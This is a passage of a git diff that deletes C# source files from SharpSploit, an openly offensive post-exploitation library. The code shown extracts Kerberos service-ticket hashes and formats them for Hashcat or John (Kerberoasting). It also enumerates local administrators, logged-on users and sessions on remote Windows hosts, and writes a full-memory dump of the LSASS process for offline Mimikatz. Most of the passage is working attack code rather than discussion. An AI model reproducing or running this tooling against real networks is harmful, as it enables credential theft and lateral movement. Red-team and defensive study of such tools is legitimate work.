!= null && this.samaccountname.Trim() != "") { output += "samaccountname: " + this.samaccountname + Environment.NewLine; } - if (this.samaccounttype.ToString().Trim() != "") { output += "samaccounttype: " + this.samaccounttype + Environment.NewLine; } - if (this.distinguishedname != null && this.distinguishedname.Trim() != "") { output += "distinguishedname: " + this.distinguishedname + Environment.NewLine; } - if (this.cn != null && this.cn.Trim() != "") { output += "cn: " + this.cn + Environment.NewLine; } - if (this.objectsid != null && this.objectsid.Trim() != "") { output += "objectsid: " + this.objectsid + Environment.NewLine; } - if (this.sidhistory != null && String.Join(", ", this.sidhistory).Trim() != "") { output += "sidhistory: " + (this.sidhistory == null ? "" : String.Join(", ", this.sidhistory)) + Environment.NewLine; } - if (this.grouptype.ToString().Trim() != "") { output += "grouptype: " + this.grouptype + Environment.NewLine; } - if (this.Owner != null && this.Owner.ToString().Trim() != "") { output += "Owner: " + this.Owner + Environment.NewLine; } - if (this.Group != null && this.Group.ToString().Trim() != "") { output += "Group: " + this.Group + Environment.NewLine; } - if (this.DiscretionaryAcl != null && this.DiscretionaryAcl.ToString().Trim() != "") { output += "DiscretionaryAcl: " + this.DiscretionaryAcl + Environment.NewLine; } - if (this.SystemAcl != null && this.SystemAcl.ToString().Trim() != "") { output += "SystemAcl: " + this.SystemAcl + Environment.NewLine; } - if (this.admincount != null && this.admincount.Trim() != "") { output += "admincount: " + this.admincount + Environment.NewLine; } - if (this.serviceprincipalname != null && this.serviceprincipalname.Trim() != "") { output += "serviceprincipalname: " + this.serviceprincipalname + Environment.NewLine; } - if (this.name != null && this.name.Trim() != "") { output += "name: " + this.name + Environment.NewLine; } - if (this.description != null && this.description.Trim() != "") { output += "description: " + this.description + Environment.NewLine; } - if (this.memberof != null && this.memberof.Trim() != "") { output += "memberof: " + this.memberof + Environment.NewLine; } - if (this.logoncount != null && this.logoncount.Trim() != "") { output += "logoncount: " + this.logoncount + Environment.NewLine; } - if (this.useraccountcontrol.ToString().Trim() != "") { output += "useraccountcontrol: " + this.useraccountcontrol + Environment.NewLine; } - if (this.badpwdcount != null && this.badpwdcount.Trim() != "") { output += "badpwdcount: " + this.badpwdcount + Environment.NewLine; } - if (this.badpasswordtime != null && this.badpasswordtime.ToString().Trim() != "") { output += "badpasswordtime: " + this.badpasswordtime + Environment.NewLine; } - if (this.pwdlastset != null && this.pwdlastset.ToString().Trim() != "") { output += "pwdlastset: " + this.pwdlastset + Environment.NewLine; } - if (this.whencreated != null && this.whencreated.ToString().Trim() != "") { output += "whencreated: " + this.whencreated + Environment.NewLine; } - if (this.whenchanged != null && this.whenchanged.ToString().Trim() != "") { output += "whenchanged: " + this.whenchanged + Environment.NewLine; } - if (this.accountexpires != null && this.accountexpires.ToString().Trim() != "") { output += "accountexpires: " + this.accountexpires + Environment.NewLine; } - if (this.lastlogon != null && this.lastlogon.ToString().Trim() != "") { output += "lastlogon: " + this.lastlogon + Environment.NewLine; } - if (this.lastlogoff != null && this.lastlogoff.ToString().Trim() != "") { output += "lastlogoff: " + this.lastlogoff + Environment.NewLine; } - if (this.codepage != null && this.codepage.Trim() != "") { output += "codepage: " + this.codepage + Environment.NewLine; } - if (this.objectcategory != null && this.objectcategory.Trim() != "") { output += "objectcategory: " + this.objectcategory + Environment.NewLine; } - if (this.usnchanged != null && this.usnchanged.Trim() != "") { output += "usnchanged: " + this.usnchanged + Environment.NewLine; } - if (this.instancetype != null && this.instancetype.Trim() != "") { output += "instancetype: " + this.instancetype + Environment.NewLine; } - if (this.objectclass != null && this.objectclass.Trim() != "") { output += "objectclass: " + this.objectclass + Environment.NewLine; } - if (this.iscriticalsystemobject != null && this.iscriticalsystemobject.Trim() != "") { output += "iscriticalsystemobject: " + this.iscriticalsystemobject + Environment.NewLine; } - if (this.usncreated != null && this.usncreated.Trim() != "") { output += "usncreated: " + this.usncreated + Environment.NewLine; } - if (this.dscorepropagationdata != null && this.dscorepropagationdata.Trim() != "") { output += "dscorepropagationdata: " + this.dscorepropagationdata + Environment.NewLine; } - if (this.adspath != null && this.adspath.Trim() != "") { output += "adspath: " + this.adspath + Environment.NewLine; } - if (this.countrycode != null && this.countrycode.Trim() != "") { output += "countrycode: " + this.countrycode + Environment.NewLine; } - if (this.primarygroupid != null && this.primarygroupid.Trim() != "") { output += "primarygroupid: " + this.primarygroupid + Environment.NewLine; } - if (this.objectguid != null && this.objectguid.Trim() != "") { output += "objectguid: " + this.objectguid + Environment.NewLine; } - if (this.lastlogontimestamp != null && this.lastlogontimestamp.ToString().Trim() != "") { output += "lastlogontimestamp: " + this.lastlogontimestamp + Environment.NewLine; } - if (this.msds_supportedencryptiontypes != null && this.msds_supportedencryptiontypes.Trim() != "") { output += "msds_supportedencryptiontypes: " + this.msds_supportedencryptiontypes + Environment.NewLine; } - if (this.showinadvancedviewonly != null && this.showinadvancedviewonly.Trim() != "") { output += "showinadvancedviewonly: " + this.showinadvancedviewonly + Environment.NewLine; } - - return output; - } - } - - /// - /// SPNTicket for a DomainObject with a SPN set. Useful for obtaining krb5tgs hashes. - /// - public class SPNTicket - { - public string ServicePrincipleName { get; set; } - public string SamAccountName { get; set; } - public string UserDomain { get; set; } - public string TicketByteHexStream { get; set; } = null; - public string Hash { get; set; } = null; - - /// - /// Constructor for SPNTicket. - /// - /// Service Principal Name (SPN) for which the ticket applies. - /// SamAccountName for the user that has a SPN set. - /// Domain name for the user that has a SPN set. - /// TicketHexStream of the SPNTicket. - public SPNTicket(string servicePrincipalName, string samAccountName, string userDomain, string ticketHexStream) - { - this.ServicePrincipleName = servicePrincipalName; - this.SamAccountName = samAccountName; - this.UserDomain = userDomain; - this.TicketByteHexStream = ticketHexStream; - var matches = Regex.Match(ticketHexStream, "a382....3082....A0030201(?..)A1.{1,4}.......A282(?....)........(?.+)", RegexOptions.IgnoreCase); - if (matches.Success) - { - byte etype = Convert.ToByte(matches.Groups["EtypeLen"].Value, 16); - int cipherTextLen = Convert.ToInt32(matches.Groups["CipherTextLen"].Value, 16) - 4; - string cipherText = matches.Groups["DataToEnd"].Value.Substring(0, cipherTextLen * 2); - - if (matches.Groups["DataToEnd"].Value.Substring(cipherTextLen * 2, 4) == "A482") - { - this.Hash = cipherText.Substring(0, 32) + "$" + cipherText.Substring(32); - } - } - } - public enum HashFormat - { - Hashcat, - John - } - - /// - /// Gets a krb5tgs hash formatted for a cracker. - /// - /// Format for the hash. - /// Formatted krb5tgs hash. - public string GetFormattedHash(HashFormat format = HashFormat.Hashcat) - { - if (format == HashFormat.Hashcat) - { - return "$krb5tgs$" + "23" + "$*" + this.SamAccountName + "$" + this.UserDomain + "$" + this.ServicePrincipleName + "$" + this.Hash; - } - else if (format == HashFormat.John) - { - return "$krb5tgs$" + this.ServicePrincipleName + ":" + this.Hash; - } - return null; - } - } - - public enum NameType - { - DN = 1, - Canonical = 2, - NT4 = 3, - Display = 4, - DomainSimple = 5, - EnterpriseSimple = 6, - GUID = 7, - Unknown = 8, - UPN = 9, - CanonicalEx = 10, - SPN = 11, - SID = 12 - } - - public enum SamAccountTypeEnum : uint - { - DOMAIN_OBJECT = 0x00000000, - GROUP_OBJECT = 0x10000000, - NON_SECURITY_GROUP_OBJECT = 0x10000001, - ALIAS_OBJECT = 0x20000000, - NON_SECURITY_ALIAS_OBJECT = 0x20000001, - USER_OBJECT = 0x30000000, - MACHINE_ACCOUNT = 0x30000001, - TRUST_ACCOUNT = 0x30000002, - APP_BASIC_GROUP = 0x40000000, - APP_QUERY_GROUP = 0x40000001, - ACCOUNT_TYPE_MAX = 0x7fffffff - } - - [Flags] - public enum GroupTypeEnum : uint - { - CREATED_BY_SYSTEM = 0x00000001, - GLOBAL_SCOPE = 0x00000002, - DOMAIN_LOCAL_SCOPE = 0x00000004, - UNIVERSAL_SCOPE = 0x00000008, - APP_BASIC = 0x00000010, - APP_QUERY = 0x00000020, - SECURITY = 0x80000000 - } - - [Flags] - public enum UACEnum : uint - { - SCRIPT = 1, - ACCOUNTDISABLE = 2, - HOMEDIR_REQUIRED = 8, - LOCKOUT = 16, - PASSWD_NOTREQD = 32, - PASSWD_CANT_CHANGE = 64, - ENCRYPTED_TEXT_PWD_ALLOWED = 128, - TEMP_DUPLICATE_ACCOUNT = 256, - NORMAL_ACCOUNT = 512, - INTERDOMAIN_TRUST_ACCOUNT = 2048, - WORKSTATION_TRUST_ACCOUNT = 4096, - SERVER_TRUST_ACCOUNT = 8192, - DONT_EXPIRE_PASSWORD = 65536, - MNS_LOGON_ACCOUNT = 131072, - SMARTCARD_REQUIRED = 262144, - TRUSTED_FOR_DELEGATION = 524288, - NOT_DELEGATED = 1048576, - USE_DES_KEY_ONLY = 2097152, - DONT_REQ_PREAUTH = 4194304, - PASSWORD_EXPIRED = 8388608, - TRUSTED_TO_AUTH_FOR_DELEGATION = 16777216, - PARTIAL_SECRETS_ACCOUNT = 67108864 - } - } - - /// - /// Net is a library for localgroup/domain enumeration that can be used to search for users, groups, loggedonusers, - /// and sessions on remote systems using Win32 API functions. - /// - /// - /// Net is adapted from Will Schroeder's (@harmj0y) PowerView. (Found - /// at https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1) - /// - public static class Net - { - /// - /// LocalGroup represents a local group object on a remote system. - /// - public class LocalGroup - { - public string ComputerName { get; set; } = ""; - public string GroupName { get; set; } = ""; - public string Comment { get; set; } = ""; - - public override string ToString() - { - string output = ""; - output += "ComputerName: " + ComputerName + Environment.NewLine; - output += "GroupName: " + GroupName + Environment.NewLine; - output += "Comment: " + Comment + Environment.NewLine; - return output; - } - } - - /// - /// LocalGroupMember represents a user's membership to a local group on a remote system. - /// - public class LocalGroupMember - { - public string ComputerName { get; set; } = ""; - public string GroupName { get; set; } = ""; - public string MemberName { get; set; } = ""; - public string SID { get; set; } = ""; - public bool IsGroup { get; set; } = false; - public bool IsDomain { get; set; } = false; - - public override string ToString() - { - string output = ""; - if (this.ComputerName.Trim() != "") { output += "ComputerName: " + ComputerName + Environment.NewLine; } - if (this.MemberName.Trim() != "") { output += "MemberName: " + MemberName + Environment.NewLine; } - if (this.SID.Trim() != "") { output += "SID: " + SID + Environment.NewLine; } - if (this.IsGroup.ToString().Trim() != "") { output += "IsGroup: " + IsGroup + Environment.NewLine; } - if (this.IsDomain.ToString().Trim() != "") { output += "IsDomain: " + IsDomain + Environment.NewLine; } - - return output; - } - } - - /// - /// LoggedOnUser represents a user logged on to a remote system. - /// - public class LoggedOnUser - { - public string UserName { get; set; } = ""; - public string ComputerName { get; set; } = ""; - public string LogonDomain { get; set; } = ""; - public string AuthDomains { get; set; } = ""; - public string LogonServer { get; set; } = ""; - - public override string ToString() - { - string output = ""; - if (this.UserName.Trim() != "") { output += "UserName: " + UserName + Environment.NewLine; } - if (this.ComputerName.Trim() != "") { output += "ComputerName: " + ComputerName + Environment.NewLine; } - if (this.LogonDomain.Trim() != "") { output += "LogonDomain: " + LogonDomain + Environment.NewLine; } - if (this.AuthDomains.Trim() != "") { output += "AuthDomains: " + AuthDomains + Environment.NewLine; } - if (this.LogonServer.Trim() != "") { output += "LogonServer: " + LogonServer + Environment.NewLine; } - - return output; - } - } - - /// - /// SessionInfo represents a user with a session on a remote system. - /// - public class SessionInfo - { - public string CName { get; set; } = ""; - public string UserName { get; set; } = ""; - public string ComputerName { get; set; } = ""; - public int Time { get; set; } = 0; - public int IdleTime { get; set; } = 0; - - public override string ToString() - { - string output = ""; - if (this.CName.Trim() != "") { output += "CName: " + CName + Environment.NewLine; } - if (this.UserName.Trim() != "") { output += "UserName: " + UserName + Environment.NewLine; } - if (this.ComputerName.Trim() != "") { output += "ComputerName: " + ComputerName + Environment.NewLine; } - if (this.Time.ToString().Trim() != "") { output += "Time: " + Time + Environment.NewLine; } - if (this.IdleTime.ToString().Trim() != "") { output += "IdleTime: " + IdleTime + Environment.NewLine; } - - return output; - } - } - - /// - /// Gets a list of `LocalGroup`s from a specified DomainCompter. - /// - /// DomainComputer to query for LocalGroups. - /// Credential to use for authentication to the DomainComputer. - /// List of LocalGroups. - public static List GetNetLocalGroups(Domain.DomainObject DomainComputer, Domain.Credential Credential = null) - { - List ComputerNames = new List(); - if (DomainComputer != null && DomainComputer.samaccounttype == Domain.SamAccountTypeEnum.MACHINE_ACCOUNT) - { - ComputerNames.Add(DomainComputer.cn); - } - return ComputerNames.Count == 0 ? new List() : GetNetLocalGroups(ComputerNames, Credential); - } - - /// - /// Gets a list of `LocalGroup`s from specified DomainComputers. - /// - /// List of DomainComputers to query for LocalGroups. - /// Credential to use for authentication to the DomainComputer. - /// List of LocalGroups. - public static List GetNetLocalGroups(IEnumerable DomainComputers, Domain.Credential Credential = null) - { - List ComputerNames = new List(); - foreach (Domain.DomainObject DomainComputer in DomainComputers) - { - if (DomainComputer != null && DomainComputer.samaccounttype == Domain.SamAccountTypeEnum.MACHINE_ACCOUNT) - { - ComputerNames.Add(DomainComputer.cn); - } - } - return ComputerNames.Count == 0 ? new List() : GetNetLocalGroups(ComputerNames, Credential); - } - - /// - /// Gets a list of `LocalGroup`s from specified remote computer(s). - /// - /// ComputerName to query for LocalGroups. - /// Credential to use for authentication to the ComputerName. - /// List of LocalGroups. - public static List GetNetLocalGroups(string ComputerName = "127.0.0.1", Domain.Credential Credential = null) - { - return ComputerName == null ? new List() : GetNetLocalGroups(new List { ComputerName }, Credential); - } - - /// - /// Gets a list of `LocalGroup`s from specified remote computer(s). - /// - /// List of ComputerNames to query for LocalGroups. - /// Credential to use for authentication to the ComputerNames. - /// List of LocalGroups. - public static List GetNetLocalGroups(IEnumerable ComputerNames, Domain.Credential Credential = null) - { - ComputerNames = ComputerNames.Where(CN => CN != null); - List localGroups = new List(); - foreach (string ComputerName in ComputerNames) - { - int QueryLevel = 1; - IntPtr PtrInfo = IntPtr.Zero; - int EntriesRead = 0; - int TotalRead = 0; - int ResumeHandle = 0; - int Result = Win32.Netapi32.NetLocalGroupEnum(ComputerName, QueryLevel, out PtrInfo, -1, out EntriesRead, out TotalRead, ref ResumeHandle); - long Offset = PtrInfo.ToInt64(); - if (Result == 0 && Offset > 0) - { - int increment = Marshal.SizeOf(typeof(Win32.Netapi32.LOCALGROUP_USERS_INFO_1)); - for (int i = 0; i < EntriesRead; i++) - { - IntPtr NextIntPtr = new IntPtr(Offset); - Win32.Netapi32.LOCALGROUP_USERS_INFO_1 Info = (Win32.Netapi32.LOCALGROUP_USERS_INFO_1)Marshal.PtrToStructure(NextIntPtr, typeof(Win32.Netapi32.LOCALGROUP_USERS_INFO_1)); - Offset = NextIntPtr.ToInt64(); - Offset += increment; - localGroups.Add( - new LocalGroup - { - ComputerName = ComputerName, - GroupName = Info.name, - Comment = Info.comment - } - ); - } - Win32.Netapi32.NetApiBufferFree(PtrInfo); - } - else - { - Console.Error.WriteLine("Error: " + new System.ComponentModel.Win32Exception(Result).Message); - } - } - return localGroups; - } - - /// - /// Gets a list of `LocalGroupMember`s from a specified DomainComputer for a specified group. - /// - /// DomainComputer to query for LocalGroupMembers. - /// Group to search for LocalGroupMembers. Administrators, by default. - /// Credential to authenticate to the DomainComputer. - /// List of LocalGroupMembers - public static List GetNetLocalGroupMembers(Domain.DomainObject DomainComputer, string GroupName = "Administrators", Domain.Credential Credential = null) - { - List ComputerNames = new List(); - if (DomainComputer != null && DomainComputer.samaccounttype == Domain.SamAccountTypeEnum.MACHINE_ACCOUNT) - { - ComputerNames.Add(DomainComputer.cn); - } - return ComputerNames.Count == 0 || GroupName == null ? new List() : GetNetLocalGroupMembers(ComputerNames, GroupName, Credential); - } - - /// - /// Gets a list of `LocalGroupMember`s from specified DomainComputers for a specified group. - /// - /// DomainComputers to query for LocalGroupMembers. - /// Group to search for LocalGroupMembers. Administrators, by default. - /// Credential to authenticate to the DomainComputer. - /// List of LocalGroupMembers. - public static List GetNetLocalGroupMembers(IEnumerable DomainComputers, string GroupName = "Administrators", Domain.Credential Credential = null) - { - List ComputerNames = new List(); - foreach (Domain.DomainObject DomainComputer in DomainComputers) - { - if (DomainComputer != null && DomainComputer.samaccounttype == Domain.SamAccountTypeEnum.MACHINE_ACCOUNT) - { - ComputerNames.Add(DomainComputer.cn); - } - } - return ComputerNames.Count == 0 || GroupName == null ? new List() : GetNetLocalGroupMembers(ComputerNames, GroupName, Credential); - } - - /// - /// Gets a list of `LocalGroupMember`s from a specified ComputerName for a specified group. - /// - /// ComputerName to query for LocalGroupMembers. - /// Group to search for LocalGroupMembers. Administrators, by default. - /// Credential to authenticate to the ComputerName. - /// List of LocalGroupMembers. - public static List GetNetLocalGroupMembers(string ComputerName = "127.0.0.1", string GroupName = "Administrators", Domain.Credential Credential = null) - { - return ComputerName == null || GroupName == null ? new List() : GetNetLocalGroupMembers(new List { ComputerName }, GroupName, Credential); - } - - /// - /// Gets a list of `LocalGroupMember`s from specified ComputerNames for a specified group. - /// - /// List of ComputerNames to query for LocalGroupMembers. - /// Group to search for LocalGroupMembers. Administrators, by default. - /// Credential to authenticate to the ComputerNames. - /// List of LocalGroupMembers - public static List GetNetLocalGroupMembers(IEnumerable ComputerNames, string GroupName = "Administrators", Domain.Credential Credential = null) - { - ComputerNames = ComputerNames.Where(CN => CN != null); - List groupMembers = new List(); - foreach (string ComputerName in ComputerNames) - { - int QueryLevel = 2; - IntPtr PtrInfo = IntPtr.Zero; - int EntriesRead = 0; - int TotalRead = 0; - int ResumeHandle = 0; - int Result = Win32.Netapi32.NetLocalGroupGetMembers(ComputerName, GroupName, QueryLevel, out PtrInfo, -1, out EntriesRead, out TotalRead, ref ResumeHandle); - long Offset = PtrInfo.ToInt64(); - if (Result == 0 && Offset > 0) - { - int increment = Marshal.SizeOf(typeof(Win32.Netapi32.LOCALGROUP_MEMBERS_INFO_2)); - for (int i = 0; i < EntriesRead; i++) - { - IntPtr NextIntPtr = new IntPtr(Offset); - Win32.Netapi32.LOCALGROUP_MEMBERS_INFO_2 Info = (Win32.Netapi32.LOCALGROUP_MEMBERS_INFO_2)Marshal.PtrToStructure(NextIntPtr, typeof(Win32.Netapi32.LOCALGROUP_MEMBERS_INFO_2)); - Offset = NextIntPtr.ToInt64(); - Offset += increment; - - IntPtr ptrSid; - bool Result2 = Win32.Advapi32.ConvertSidToStringSid(Info.lgrmi2_sid, out ptrSid); - if (!Result2) - { - int LastError = Marshal.GetLastWin32Error(); - Console.Error.WriteLine("Error: " + new System.ComponentModel.Win32Exception(LastError).Message); - } - else - { - string SidString = ""; - try - { - SidString = Marshal.PtrToStringAuto(ptrSid); - } - finally - { - Win32.Kernel32.LocalFree(ptrSid); - } - - groupMembers.Add( - new LocalGroupMember - { - ComputerName = ComputerName, - GroupName = GroupName, - MemberName = Info.lgrmi2_domainandname, - SID = SidString, - IsGroup = Info.lgrmi2_sidusage == (UInt16)Win32.Netapi32.SID_NAME_USE.SidTypeGroup, - IsDomain = false - } - ); - } - } - Win32.Netapi32.NetApiBufferFree(PtrInfo); - - Regex localUserRegex = new Regex(".*-500"); - Regex localUserRegex2 = new Regex(".*-501"); - LocalGroupMember localMachineUser = groupMembers.FirstOrDefault(GM => localUserRegex.IsMatch(GM.SID) || localUserRegex2.IsMatch(GM.SID)); - if (localMachineUser != null) - { - string MachineSID = localMachineUser.SID.Substring(0, localMachineUser.SID.LastIndexOf("-")); - foreach (LocalGroupMember member in groupMembers) - { - if (member.SID.Contains(MachineSID)) - { - member.IsDomain = true; - } - } - } - } - else - { - Console.Error.WriteLine("Error: " + new System.ComponentModel.Win32Exception(Result).Message); - } - } - return groupMembers; - } - - /// - /// Gets a list of `LoggedOnUser`s from a DomainComputer. - /// - /// DomainComputer to query for LoggedOnUsers - /// Credentials to authenticate to the DomainComputer. - /// List of LoggedOnUsers. - public static List GetNetLoggedOnUsers(Domain.DomainObject DomainComputer, Domain.Credential Credential = null) - { - List ComputerNames = new List(); - if (DomainComputer != null && DomainComputer.samaccounttype == Domain.SamAccountTypeEnum.MACHINE_ACCOUNT) - { - ComputerNames.Add(DomainComputer.cn); - } - return ComputerNames.Count == 0 ? new List() : GetNetLoggedOnUsers(ComputerNames, Credential); - } - - /// - /// Gets a list of `LoggedOnUser`s from a list of DomainComputers. - /// - /// DomainComputers to query for LoggedOnUsers. - /// Credentials to authenticate to the DomainComputers. - /// List of LoggedOnUsers. - public static List GetNetLoggedOnUsers(IEnumerable DomainComputers, Domain.Credential Credential = null) - { - List ComputerNames = new List(); - foreach (Domain.DomainObject DomainComputer in DomainComputers) - { - if (DomainComputer != null && DomainComputer.samaccounttype == Domain.SamAccountTypeEnum.MACHINE_ACCOUNT) - { - ComputerNames.Add(DomainComputer.cn); - } - } - return ComputerNames.Count == 0 ? new List() : GetNetLoggedOnUsers(ComputerNames, Credential); - } - - /// - /// Gets a list of `LoggedOnUser`s from a ComputerName. - /// - /// ComputerName to query for LoggedOnUsers. - /// Credentials to authenticate to the ComputerName. - /// List of LoggedOnUsers. - public static List GetNetLoggedOnUsers(string ComputerName = "127.0.0.1", Domain.Credential Credential = null) - { - return ComputerName == null ? new List() : GetNetLoggedOnUsers(new List { ComputerName }, Credential); - } - - /// - /// Gets a list of `LoggedOnUser`s from a list of ComputerNames. - /// - /// ComputerNames to query for LoggedOnUsers. - /// Credentials to authenticate to the ComputerNames. - /// List of LoggedOnUsers. - public static List GetNetLoggedOnUsers(IEnumerable ComputerNames, Domain.Credential Credential = null) - { - ComputerNames = ComputerNames.Where(CN => CN != null); - List loggedOnUsers = new List(); - foreach (string ComputerName in ComputerNames) - { - int QueryLevel = 1; - IntPtr PtrInfo = IntPtr.Zero; - int EntriesRead = 0; - int TotalRead = 0; - int ResumeHandle = 0; - - int Result = Win32.Netapi32.NetWkstaUserEnum(ComputerName, QueryLevel, out PtrInfo, -1, out EntriesRead, out TotalRead, ref ResumeHandle); - long Offset = PtrInfo.ToInt64(); - - if (Result == 0 && Offset > 0) - { - int increment = Marshal.SizeOf(typeof(Win32.Netapi32.WKSTA_USER_INFO_1)); - for (int i = 0; i < EntriesRead; i++) - { - IntPtr NextIntPtr = new IntPtr(Offset); - Win32.Netapi32.WKSTA_USER_INFO_1 Info = (Win32.Netapi32.WKSTA_USER_INFO_1)Marshal.PtrToStructure(NextIntPtr, typeof(Win32.Netapi32.WKSTA_USER_INFO_1)); - Offset = NextIntPtr.ToInt64(); - Offset += increment; - - loggedOnUsers.Add( - new LoggedOnUser - { - UserName = Info.wkui1_username, - ComputerName = ComputerName, - LogonDomain = Info.wkui1_logon_domain, - AuthDomains = Info.wkui1_oth_domains, - LogonServer = Info.wkui1_logon_server - } - ); - } - Win32.Netapi32.NetApiBufferFree(PtrInfo); - } - else - { - Console.Error.WriteLine("Error: " + new System.ComponentModel.Win32Exception(Result).Message); - } - } - return loggedOnUsers; - } - - /// - /// Gets a list of `SessionInfo`s from a DomainComputer. - /// - /// DomainComputer to query for SessionInfos. - /// Credentials to authenticate to the DomainComputer. - /// List of SessionInfos. - public static List GetNetSessions(Domain.DomainObject DomainComputer, Domain.Credential Credential = null) - { - List ComputerNames = new List(); - if (DomainComputer != null && DomainComputer.samaccounttype == Domain.SamAccountTypeEnum.MACHINE_ACCOUNT) - { - ComputerNames.Add(DomainComputer.cn); - } - return ComputerNames.Count == 0 ? new List() : GetNetSessions(ComputerNames, Credential); - } - - /// - /// Gets a list of `SessionInfo`s from a list of DomainComputers. - /// - /// DomainComputers to query for SessionInfos. - /// Credentials to authenticate to the DomainComputers. - /// List of SessionInfos. - public static List GetNetSessions(IEnumerable DomainComputers, Domain.Credential Credential = null) - { - List ComputerNames = new List(); - foreach (Domain.DomainObject DomainComputer in DomainComputers) - { - if (DomainComputer != null && DomainComputer.samaccounttype == Domain.SamAccountTypeEnum.MACHINE_ACCOUNT) - { - ComputerNames.Add(DomainComputer.cn); - } - } - return ComputerNames.Count == 0 ? new List() : GetNetSessions(ComputerNames, Credential); - } - - /// - /// Gets a list of `SessionInfo`s from a ComputerName. - /// - /// ComputerName to query for SessionInfos. - /// Credentials to authenticate to the ComputerName. - /// List of SessionInfos. - public static List GetNetSessions(string ComputerName = "127.0.0.1", Domain.Credential Credential = null) - { - return ComputerName == null ? new List() : GetNetSessions(new List { ComputerName }, Credential); - } - - /// - /// Gets a list of `SessionInfo`s from a list of ComputerNames. - /// - /// ComputerNames to query for SessionInfos. - /// Credentials to authenticate to the ComputerNames. - /// List of SessionInfos. - public static List GetNetSessions(IEnumerable ComputerNames, Domain.Credential Credential = null) - { - ComputerNames = ComputerNames.Where(CN => CN != null); - List sessions = new List(); - foreach (string ComputerName in ComputerNames) - { - int QueryLevel = 10; - IntPtr PtrInfo = IntPtr.Zero; - int EntriesRead = 0; - int TotalRead = 0; - int ResumeHandle = 0; - - int Result = Win32.Netapi32.NetSessionEnum(ComputerName, null, null, QueryLevel, out PtrInfo, -1, out EntriesRead, out TotalRead, ref ResumeHandle); - long Offset = PtrInfo.ToInt64(); - if (Result == 0 && Offset > 0) - { - int increment = Marshal.SizeOf(typeof(Win32.Netapi32.SESSION_INFO_10)); - for (int i = 0; i < EntriesRead; i++) - { - IntPtr NextIntPtr = new IntPtr(Offset); - Win32.Netapi32.SESSION_INFO_10 Info = (Win32.Netapi32.SESSION_INFO_10)Marshal.PtrToStructure(NextIntPtr, typeof(Win32.Netapi32.SESSION_INFO_10)); - Offset += increment; - - sessions.Add( - new SessionInfo - { - CName = Info.sesi10_cname, - UserName = Info.sesi10_username, - ComputerName = ComputerName, - Time = Info.sesi10_time, - IdleTime = Info.sesi10_idle_time - } - ); - } - Win32.Netapi32.NetApiBufferFree(PtrInfo); - } - else - { - Console.Error.WriteLine("Error: " + new System.ComponentModel.Win32Exception(Result).Message); - } - } - return sessions; - } - } -} \ No newline at end of file diff --git a/Source/SharpSploit/Enumeration/Host.cs b/Source/SharpSploit/Enumeration/Host.cs deleted file mode 100644 index fc55ba7..0000000 --- a/Source/SharpSploit/Enumeration/Host.cs +++ /dev/null @@ -1,307 +0,0 @@ -// Author: Ryan Cobb (@cobbr_io) -// Project: SharpSploit (https://github.com/cobbr/SharpSploit) -// License: BSD 3-Clause - -using System; -using System.IO; -using System.Diagnostics; -using System.Collections.Generic; -using Microsoft.Win32; - -using SharpSploit.Generic; - -namespace SharpSploit.Enumeration -{ - /// - /// Host is a library for local host enumeration. - /// - public static class Host - { - /// - /// Gets a list of running processes on the system. - /// - /// List of ProcessResults. - public static SharpSploitResultList GetProcessList() - { - Process[] processes = Process.GetProcesses(); - SharpSploitResultList results = new SharpSploitResultList(); - foreach (Process process in processes) - { - results.Add(new ProcessResult(process.Id, 0, process.ProcessName)); - } - return results; - } - - /// - /// Generates a minidump that represents the memory of a running process. Useful for offline Mimikatz - /// if dumping the LSASS process. (Requires Admin) - /// - /// Process ID of the process to generate a minidump for. - /// Path to write output file in. Defaults to the current directory. - /// Filename to ouput the minidump to. - /// - /// Authored by Justin Bui (@youslydawg). - /// - public static void CreateProcessDump(int processId, string outputPath = "", string outputFileName = "") - { - CreateProcessDump(Process.GetProcessById(processId), outputPath, outputFileName); - } - - /// - /// Generates a minidump that represents the memory of a running process. Useful for offline Mimikatz - /// if dumping the LSASS process. (Requires Admin) - /// - /// Name of the process to generate a minidump for. - /// Path to write output file in. Defaults to the current directory. - /// Filename to ouput the minidump to. - /// - /// Authored by Justin Bui (@youslydawg). - /// - public static void CreateProcessDump(string processName = "lsass", string outputPath = "", string outputFileName = "") - { - if (processName.EndsWith(".exe")) - { - processName = processName.Substring(0, processName.Length - 4); - } - Process[] process_list = Process.GetProcessesByName(processName); - if (process_list.Length > 0) - { - CreateProcessDump(process_list[0], outputPath, outputFileName); - } - } - - /// - /// Generates a minidump that represents the memory of a running process. Useful for offline Mimikatz - /// if dumping the LSASS process. (Requires Admin) - /// - /// Process to generate a minidump for. - /// Path to write output file in. Defaults to the current directory. - /// Filename to ouput the minidump to. - /// - /// Authored by Justin Bui (@youslydawg). - /// - public static void CreateProcessDump(Process process, string outputPath = "", string outputFileName = "") - { - if (outputPath == "" || outputPath == null) - { - outputPath = GetCurrentDirectory(); - } - if (outputFileName == "" || outputFileName == null) - { - outputFileName = process.ProcessName + "_" + process.Id + ".dmp"; - } - - string fullPath = Path.Combine(outputPath, outputFileName); - FileStream fileStream = File.Create(fullPath); - bool success = false; - try - { - success = Execution.Win32.Dbghelp.MiniDumpWriteDump(process.Handle, (uint)process.Id, fileStream.SafeFileHandle, Execution.Win32.Dbghelp.MINIDUMP_TYPE.MiniDumpWithFullMemory, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero); - } - catch (System.ComponentModel.Win32Exception e) - { - Console.Error.WriteLine(e.Message); - } - - fileStream.Close(); - if (!success) - { - File.Delete(fullPath); - } - } - - /// - /// Gets the hostname of the system. - /// - /// Hostname of the system. - public static string GetHostname() - { - return Environment.MachineName; - } - - /// - /// Gets the Domain name and username of the current logged on user. - /// - /// Current username. - public static string GetUsername() - { - return Environment.UserDomainName + "\\" + Environment.UserName; - } - - /// - /// Gets the full path of the current working directory. - /// - /// Current working directory. - public static string GetCurrentDirectory() - { - return Directory.GetCurrentDirectory(); - } - - /// - /// Gets a directory listing of the current working directory. - /// - /// List of FileSystemEntryResults. - public static SharpSploitResultList GetDirectoryListing() - { - SharpSploitResultList results = new SharpSploitResultList(); - foreach (string dir in Directory.GetDirectories(GetCurrentDirectory())) - { - results.Add(new FileSystemEntryResult(dir)); - } - foreach (string file in Directory.GetFiles(GetCurrentDirectory())) - { - results.Add(new FileSystemEntryResult(file)); - } - return results; - } - - /// - /// Changes the current directory by appending a specified string to the current working directory. - /// - /// String to append to the current directory. - public static void ChangeCurrentDirectory(string AppendDirectory) - { - Directory.SetCurrentDirectory(GetCurrentDirectory() + "\\" + AppendDirectory); - } - - /// - /// Reads a value stored in registry. - /// - /// The full path to the registry value to be 